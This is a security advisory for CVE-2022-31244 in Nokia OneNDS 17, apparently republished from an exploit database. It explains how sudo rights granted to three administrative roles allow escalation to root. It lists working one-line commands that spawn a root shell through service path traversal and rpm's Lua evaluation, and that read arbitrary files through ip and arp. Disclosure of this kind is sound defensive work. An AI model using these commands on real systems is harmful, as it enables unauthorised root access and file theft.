Nokia OneNDS 17 Insecure Permissions / Privilege Escalation Vulnerability

2023-04-2400:00:00

Valerio Casalino

0day.today

134

nokia onends 17

security misconfiguration

high severity

cve-2022-31244

privilege escalation

sudo permissions

arbitrary commands

root privileges

specific roles

command exploitation

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.0004 Low

EPSS

Percentile

9.1%

JSON

===============================================================================
             title: Incorrect Permission Assignment
           product: Nokia OneNDS 17
vulnerability type: Security Misconfiguration
          severity: High
        CVSS Score: 7.8
       CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
          found on: 31/03/2022
                by: Giacomo Sighinolfi, Milena Mangiola, 
                    Savino Sisco, Valerio Casalino
               cve: CVE-2022-31244
===============================================================================

Some sudo permissions can be exploited by the users that have specific roles
to escalate to root privileges and execute arbitrary commands on the system.

The affected roles are:
ONENDS_CC_BASIC_ADMIN: 
 - it can run /sbin/service 
 - can be exploited using `sudo /sbin/service ../../bin/sh`
ONENDS_CC_SERVICE_ADMIN: 
 - it can run /bin/rpm 
 - can be exploited using `sudo /bin/rpm --eval '%{lua:os.execute("/bin/sh")}'`
ONENDS_CC_NETWORK_MANAGEMENT: 
 - it can run /sbin/ip,/sbin/arp 
 - can be exploited using `sudo /sbin/ip -force -batch 'file_to_read'`
 - can be exploited using `sudo /sbin/arp -v -f 'file_to_read'`

===============================================================================